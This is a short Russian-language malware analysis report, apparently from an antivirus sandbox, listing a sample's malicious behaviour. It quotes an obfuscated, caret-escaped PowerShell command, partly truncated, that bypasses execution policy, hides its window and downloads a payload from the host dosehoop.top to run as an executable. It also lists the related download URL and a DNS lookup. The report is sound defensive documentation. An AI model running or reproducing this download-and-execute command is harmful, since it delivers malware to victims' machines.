Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://dosehoop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^Ow^ErSh^ell.^ExE -^E^x^ecUTIONP^oL^I^Cy ^B^ypA^Ss^ -nopRoFILE^ -wiNDoWSTYLe ^h^id^D^eN^ (NEW-o^b^je^cT S^YstEM^.NE^T^.wE^b^CL^I^eN^t).D^OWnL^oA^DFi^L^E^('http://dosehoop.top/read...
Сетевая активность
UDP
- DNS ASK do###oop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^Ow^ErSh^ell.^ExE -^E^x^ecUTIONP^oL^I^Cy ^B^ypA^Ss^ -nopRoFILE^ -wiNDoWSTYLe ^h^id^D^eN^ (NEW-o^b^je^cT S^YstEM^.NE^T^.wE^b^CL^I^eN^t).D^OWnL^oA^DFi^L^E^('http://dosehoop.top/read...' (со скрытым окном)
